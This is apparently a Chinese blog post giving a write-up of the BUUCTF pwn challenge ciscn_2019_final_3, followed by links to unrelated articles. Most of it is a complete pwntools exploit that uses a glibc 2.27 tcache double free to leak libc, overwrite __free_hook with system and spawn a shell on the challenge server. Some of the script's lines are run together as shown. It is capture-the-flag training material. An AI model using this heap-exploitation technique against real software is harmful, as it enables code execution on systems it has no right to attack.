[BUUCTF]-PWN:ciscn_2019_final_3解析

2024-02-15 21:36
文章标签 buuctf 解析 2019 final pwn ciscn

本文主要是介绍[BUUCTF]-PWN:ciscn_2019_final_3解析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

查看保护

RELRO保护为FULL,got表不可修改,只能修改hook表了

查看ida

这里的大致功能为alloc创建堆块(可填充内容)、free释放堆块(但是不清空指针)

值得注意的就是创建堆块大小不可以超过0x78(实际大小会对齐)

这里的libc版本要注意以下,它在题目中给了我们libc库,很巧妙的是这道题的版本选得很刁钻,只要稍微高一点的版本都用不了常规解法中的tcachebin的double free(版本是GLIBC 2.27-3ubuntu1),连ubuntu18.04的libc都不行,最好用题目给的。

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./final3')
p=remote('node5.buuoj.cn',29058)def alloc(index,size,content):p.sendlineafter(b'choice >',str(1))p.sendlineafter(b'input the index',str(index))p.sendlineafter(b'input the size',str(size))p.sendafter(b'now you can write something',content)
def free(index):p.sendlineafter(b'choice >',str(2))p.sendlineafter(b'input the index',str(index))alloc(0,0x10,b'aaaa')
p.recvuntil(b'gift :')
chunk0=int(p.recv(14),16)
print(hex(chunk0))
alloc(1,0x70,p64(0))
free(0) #这就是这个版本的tcachebin可以进行的double free注意和fastbin的double free区分
free(0)
alloc(2,0x10,p64(chunk0-0x10))
alloc(3,0x10,p64(0))
alloc(4,0x10,p64(0)+p64(0xa1)) #修改chunk0的size为非fastbin的大小
alloc(5,0x78,p64(0))
for i in range(0,8): #连续free填充tcachebin,让堆块进入unsortedbin中free(0)
free(1) #因为释放堆块0让堆块1也处于空闲状态,所以打算利用chunk1泄露libc
alloc(6,0x10,p64(0)) #切割unsortedbin的堆块,因为tcachebin里没有类似大小的堆块,所以可以切割
alloc(7,0x70,b'\x00') #这里填充一个字节的\x00,因为mainarena+88的最后一个字节相对固定。
alloc(8,0x70,b'\x00') #所以不用担心覆盖最后一个字节会影响地址,到时候根据实际再减去一点就行
p.recvuntil(b'gift :')
mainarena88=int(p.recv(14),16)
mainarena=mainarena88-88 #这些地方是根据习惯去写的,实际可能不准,但最后的mallochook肯定是对的
mallochook=mainarena-0x18
libc=LibcSearcher('__malloc_hook',mallochook)
libcbase=mallochook-libc.dump('__malloc_hook')
freehook=libcbase+libc.dump('__free_hook')
system=libcbase+libc.dump('system')
alloc(9,0x50,p64(0))
free(9)
free(9)
alloc(10,0x50,p64(freehook)) #我尝试过用修改malloc来解题,但没试出来
alloc(11,0x50,b'/bin/sh')
payload=p64(system)
alloc(12,0x50,payload)
free(11)
p.interactive()

 这道题个人感觉调试很重要,在这篇文章中的很多地方都不能单纯地用理论去解释,最好还是自己去调试理解,而且这个题目的文件是一个c++编程,与常见的c编程文件更换libc不同,它还需要更换更多的东西,我会再写一篇文章来写更换libc的内容,并将文章链接附加到这篇文章里。

这篇关于[BUUCTF]-PWN:ciscn_2019_final_3解析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/712595

相关文章

Python中配置文件的全面解析与使用

《Python中配置文件的全面解析与使用》在Python开发中,配置文件扮演着举足轻重的角色,它们允许开发者在不修改代码的情况下调整应用程序的行为,下面我们就来看看常见Python配置文件格式的使用吧... 目录一、INI配置文件二、YAML配置文件三、jsON配置文件四、TOML配置文件五、XML配置文件

Spring中@Lazy注解的使用技巧与实例解析

《Spring中@Lazy注解的使用技巧与实例解析》@Lazy注解在Spring框架中用于延迟Bean的初始化,优化应用启动性能,它不仅适用于@Bean和@Component,还可以用于注入点,通过将... 目录一、@Lazy注解的作用(一)延迟Bean的初始化(二)与@Autowired结合使用二、实例解

C语言中自动与强制转换全解析

《C语言中自动与强制转换全解析》在编写C程序时,类型转换是确保数据正确性和一致性的关键环节,无论是隐式转换还是显式转换,都各有特点和应用场景,本文将详细探讨C语言中的类型转换机制,帮助您更好地理解并在... 目录类型转换的重要性自动类型转换(隐式转换)强制类型转换(显式转换)常见错误与注意事项总结与建议类型

MySQL 缓存机制与架构解析(最新推荐)

《MySQL缓存机制与架构解析(最新推荐)》本文详细介绍了MySQL的缓存机制和整体架构,包括一级缓存(InnoDBBufferPool)和二级缓存(QueryCache),文章还探讨了SQL... 目录一、mysql缓存机制概述二、MySQL整体架构三、SQL查询执行全流程四、MySQL 8.0为何移除查

在Rust中要用Struct和Enum组织数据的原因解析

《在Rust中要用Struct和Enum组织数据的原因解析》在Rust中,Struct和Enum是组织数据的核心工具,Struct用于将相关字段封装为单一实体,便于管理和扩展,Enum用于明确定义所有... 目录为什么在Rust中要用Struct和Enum组织数据?一、使用struct组织数据:将相关字段绑

使用Java实现一个解析CURL脚本小工具

《使用Java实现一个解析CURL脚本小工具》文章介绍了如何使用Java实现一个解析CURL脚本的工具,该工具可以将CURL脚本中的Header解析为KVMap结构,获取URL路径、请求类型,解析UR... 目录使用示例实现原理具体实现CurlParserUtilCurlEntityICurlHandler

深入解析Spring TransactionTemplate 高级用法(示例代码)

《深入解析SpringTransactionTemplate高级用法(示例代码)》TransactionTemplate是Spring框架中一个强大的工具,它允许开发者以编程方式控制事务,通过... 目录1. TransactionTemplate 的核心概念2. 核心接口和类3. TransactionT

数据库使用之union、union all、各种join的用法区别解析

《数据库使用之union、unionall、各种join的用法区别解析》:本文主要介绍SQL中的Union和UnionAll的区别,包括去重与否以及使用时的注意事项,还详细解释了Join关键字,... 目录一、Union 和Union All1、区别:2、注意点:3、具体举例二、Join关键字的区别&php

Spring IOC控制反转的实现解析

《SpringIOC控制反转的实现解析》:本文主要介绍SpringIOC控制反转的实现,IOC是Spring的核心思想之一,它通过将对象的创建、依赖注入和生命周期管理交给容器来实现解耦,使开发者... 目录1. IOC的基本概念1.1 什么是IOC1.2 IOC与DI的关系2. IOC的设计目标3. IOC

java中的HashSet与 == 和 equals的区别示例解析

《java中的HashSet与==和equals的区别示例解析》HashSet是Java中基于哈希表实现的集合类,特点包括:元素唯一、无序和可包含null,本文给大家介绍java中的HashSe... 目录什么是HashSetHashSet 的主要特点是HashSet 的常用方法hasSet存储为啥是无序的